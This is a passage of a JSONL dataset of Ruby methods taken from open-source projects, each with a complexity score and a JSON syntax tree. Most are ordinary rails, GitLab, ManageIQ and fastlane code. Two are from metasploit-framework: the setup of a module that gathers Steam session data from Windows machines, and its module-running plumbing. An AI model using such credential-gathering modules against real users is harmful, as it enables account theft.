end","complexity_score":57.2,"ast_json":"{\"type\":\"def\",\"children\":[\"data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw\",{\"type\":\"send\",\"children\":[null,\"github_auth_header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"org\"]}]}]}]},\"clone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"repo\",{\"type\":\"send\",\"children\":[null,\"load_repo\"]}]},{\"type\":\"lvasgn\",\"children\":[\"created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"closed_at\"]}]},{\"type\":\"lvasgn\",\"children\":[\"closed_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"closed_at\"]}]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\"]},{\"type\":\"lvasgn\",\"children\":[\"excerpt\"]}]},{\"type\":\"send\",\"children\":[null,\"compute_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"body\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ulink\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[null,\"link\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"labels\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Emoji\"]},\"codes_to_img\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"Helpers\"]},\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"ivar\",\"children\":[\"@url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"lvar\",\"children\":[\"excerpt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%I:%M%p - %d %b %y %Z\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%F\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%T\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed_at\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%I:%M%p - %d %b %y %Z\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed_at_date\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%F\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed_at_time\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closed_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%T\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"closed_by\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"closed_by\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://avatars1.githubusercontent.com/u/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"?v=2&s=96\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ulink\"]},\"host\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ulink\"]},\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ulink\"]},\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"i18n\"]},{\"type\":\"send\",\"children\":[null,\"i18n\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_private\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"private\"]}]}]}]}]}]}","id":"74c47765-f337-47f3-a427-cfb549ce2934"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/local_cache_behavior.rb","start_line":228,"raw_source":"def test_local_cache_of_fetch_multi\n    existing_key = SecureRandom.uuid\n    known_missing_key = SecureRandom.uuid\n    unknown_key = SecureRandom.uuid\n\n    @cache.with_local_cache do\n      @cache.fetch(existing_key) { \"exist\" }\n      assert_equal false, @cache.exist?(\"known-missing\")\n\n      results = @cache.fetch_multi(known_missing_key, existing_key, unknown_key) { \"fetch-yielded\" }\n      expected = {\n        known_missing_key => \"fetch-yielded\",\n        existing_key => \"exist\",\n        unknown_key => \"fetch-yielded\",\n      }\n      assert_equal(expected, results)\n\n      results = @peek.read_multi(known_missing_key, existing_key, unknown_key)\n      assert_equal expected, results\n    end\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_local_cache_of_fetch_multi\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"known_missing_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unknown_key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"with_local_cache\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"existing_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"exist\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"exist?\",{\"type\":\"str\",\"children\":[\"known-missing\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch_multi\",{\"type\":\"lvar\",\"children\":[\"known_missing_key\"]},{\"type\":\"lvar\",\"children\":[\"existing_key\"]},{\"type\":\"lvar\",\"children\":[\"unknown_key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"fetch-yielded\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"known_missing_key\"]},{\"type\":\"str\",\"children\":[\"fetch-yielded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_key\"]},{\"type\":\"str\",\"children\":[\"exist\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unknown_key\"]},{\"type\":\"str\",\"children\":[\"fetch-yielded\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"results\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@peek\"]},\"read_multi\",{\"type\":\"lvar\",\"children\":[\"known_missing_key\"]},{\"type\":\"lvar\",\"children\":[\"existing_key\"]},{\"type\":\"lvar\",\"children\":[\"unknown_key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}]}]}","id":"4caabb15-221f-4d62-b307-ef0dd5af6928"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/test_session_test.rb","start_line":67,"raw_source":"def test_fetch_returns_block_value\n    session = ActionController::TestSession.new(one: \"1\")\n    assert_equal(2, session.fetch(\"2\") { |key| key.to_i })\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_returns_block_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"TestSession\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"2\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_i\"]}]}]}]}]}","id":"f8ce627b-4d2b-4690-99bb-fd070e9a6819"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/npm/enqueue_deprecate_package_worker_service.rb","start_line":23,"raw_source":"def validate!\n        return if versions.any?\n\n        ServiceResponse.error(message: 'no versions to deprecate', reason: :no_versions_to_deprecate)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"versions\"]},\"any?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"no versions to deprecate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"no_versions_to_deprecate\"]}]}]}]}]}]}","id":"7f4c8504-9d6d-4f1f-9314-2a51348e351f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_virt_workflow.rb","start_line":100,"raw_source":"def custom_sysprep_timezone(field, data_value)\n    set_value_from_list(:sysprep_timezone, field, \"%03d\" % data_value, @timezones)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_sysprep_timezone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]},{\"type\":\"arg\",\"children\":[\"data_value\"]}]},{\"type\":\"send\",\"children\":[null,\"set_value_from_list\",{\"type\":\"sym\",\"children\":[\"sysprep_timezone\"]},{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%03d\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"data_value\"]}]},{\"type\":\"ivar\",\"children\":[\"@timezones\"]}]}]}","id":"bb18b758-4932-4472-b0d0-8800c3b7b3cf"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_runner_upgrader.rb","start_line":84,"raw_source":"def file_needs_update?(filename: nil)\n      # looking for something like: FastlaneRunnerAPIVersion [0.9.1]\n      regex_to_use = API_VERSION_REGEX\n\n      source = File.join(self.source_swift_code_file_folder_path, \"/#{filename}\")\n      target = File.join(self.target_swift_code_file_folder_path, \"/#{filename}\")\n\n      # target doesn't have the file yet, so ya, I'd say it needs to be updated\n      return true unless File.exist?(target)\n\n      source_file_content = File.read(source)\n      target_file_content = File.read(target)\n\n      # ignore if files don't contain FastlaneRunnerAPIVersion\n      return false unless source_file_content.include?(\"FastlaneRunnerAPIVersion\")\n      return false unless target_file_content.include?(\"FastlaneRunnerAPIVersion\")\n\n      bundled_version = source_file_content.match(regex_to_use)[1]\n      target_version = target_file_content.match(regex_to_use)[1]\n      file_versions_are_different = bundled_version != target_version\n\n      UI.verbose(\"#{filename} FastlaneRunnerAPIVersion (bundled/target): #{bundled_version}/#{target_version}\")\n      files_are_different = source_file_content != target_file_content\n\n      if files_are_different && !file_versions_are_different\n        UI.verbose(\"File versions are the same, but the two files are not equal, so that's a problem, setting needs update to 'true'\")\n      end\n\n      needs_update = file_versions_are_different || files_are_different\n\n      return needs_update\n    end","complexity_score":35.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_needs_update?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"filename\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regex_to_use\",{\"type\":\"const\",\"children\":[null,\"API_VERSION_REGEX\"]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"source_swift_code_file_folder_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"target_swift_code_file_folder_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"target\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source_file_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_file_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"target\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_file_content\"]},\"include?\",{\"type\":\"str\",\"children\":[\"FastlaneRunnerAPIVersion\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_file_content\"]},\"include?\",{\"type\":\"str\",\"children\":[\"FastlaneRunnerAPIVersion\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bundled_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_file_content\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"regex_to_use\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_file_content\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"regex_to_use\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_versions_are_different\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bundled_version\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"target_version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" FastlaneRunnerAPIVersion (bundled/target): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bundled_version\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"files_are_different\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_file_content\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"target_file_content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files_are_different\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_versions_are_different\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"str\",\"children\":[\"File versions are the same, but the two files are not equal, so that's a problem, setting needs update to 'true'\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"needs_update\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_versions_are_different\"]},{\"type\":\"lvar\",\"children\":[\"files_are_different\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"needs_update\"]}]}]}]}","id":"00cb942d-a5b1-4e2a-a5ee-536a4123e502"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/steam.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Gather Steam Client Session Collector.',\n        'Description' => %q{\n          This module will collect Steam session information from an\n          account set to autologin.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        },\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_sys_config_getenv\n            ]\n          }\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Gather Steam Client Session Collector.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will collect Steam session information from an\\n\"]},{\"type\":\"str\",\"children\":[\"          account set to autologin.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nikolai Rusakov <nikolai.rusakov[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getenv\"]}]}]}]}]}]}]}]}]}]}]}","id":"f4b11cef-fb2c-4f24-9c00-2e8f4dd778b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/import/reassign_placeholder_user_records_service.rb","start_line":155,"raw_source":"def reassign_placeholder_record(placeholder_reference, user_reference_column)\n      placeholder_reference.model_record.update!({ user_reference_column => import_source_user.reassign_to_user_id })\n      placeholder_reference.destroy!\n    rescue ActiveRecord::RecordNotUnique, ActiveRecord::RecordInvalid\n      log_warn('Unable to reassign record, reassigned user is invalid or not unique')\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"reassign_placeholder_record\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"placeholder_reference\"]},{\"type\":\"arg\",\"children\":[\"user_reference_column\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder_reference\"]},\"model_record\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_reference_column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_source_user\"]},\"reassign_to_user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"placeholder_reference\"]},\"destroy!\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},null,{\"type\":\"send\",\"children\":[null,\"log_warn\",{\"type\":\"str\",\"children\":[\"Unable to reassign record, reassigned user is invalid or not unique\"]}]}]},null]}]}","id":"8e0a82a3-0ed1-48d0-bd27-1aba308d14ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/simple/auxiliary.rb","start_line":44,"raw_source":"def self.run_simple(omod, opts = {}, job_listener: Msf::Simple::NoopJobListener.instance, &block)\n\n    # Clone the module to prevent changes to the original instance\n    mod = omod.replicant\n    Msf::Simple::Framework.simplify_module(mod)\n    yield(mod) if block_given?\n\n    # Import options from the OptionStr or Option hash.\n    mod._import_extra_options(opts)\n\n    mod.datastore['ACTION'] = opts['Action'] if opts['Action']\n\n    # Verify the ACTION\n    if (mod.actions.length > 0 and not mod.action)\n      raise MissingActionError, \"Please use: #{mod.actions.collect {|e| e.name} * \", \"}\"\n    end\n\n    # Validate the option container state so that options will\n    # be normalized\n    mod.validate\n\n    # Initialize user interaction\n    if ! opts['Quiet']\n      mod.init_ui(opts['LocalInput'] || mod.user_input, opts['LocalOutput'] || mod.user_output)\n    else\n      mod.init_ui(nil, nil)\n    end\n\n    run_uuid = Rex::Text.rand_text_alphanumeric(24)\n    job_listener.waiting run_uuid\n    ctx = [mod, run_uuid, job_listener]\n    run_as_job = opts['RunAsJob'].nil? ? mod.passive? : opts['RunAsJob']\n    if run_as_job\n      mod.job_id = mod.framework.jobs.start_bg_job(\n        \"Auxiliary: #{mod.refname}\",\n        ctx,\n        Proc.new { |ctx_| self.job_run_proc(ctx_, &:run) },\n        Proc.new { |ctx_| self.job_cleanup_proc(ctx_) }\n      )\n      # Propagate this back to the caller for console mgmt\n      omod.job_id = mod.job_id\n      return [run_uuid, mod.job_id]\n    else\n      result = self.job_run_proc(ctx, &:run)\n      self.job_cleanup_proc(ctx)\n\n      return result\n    end\n  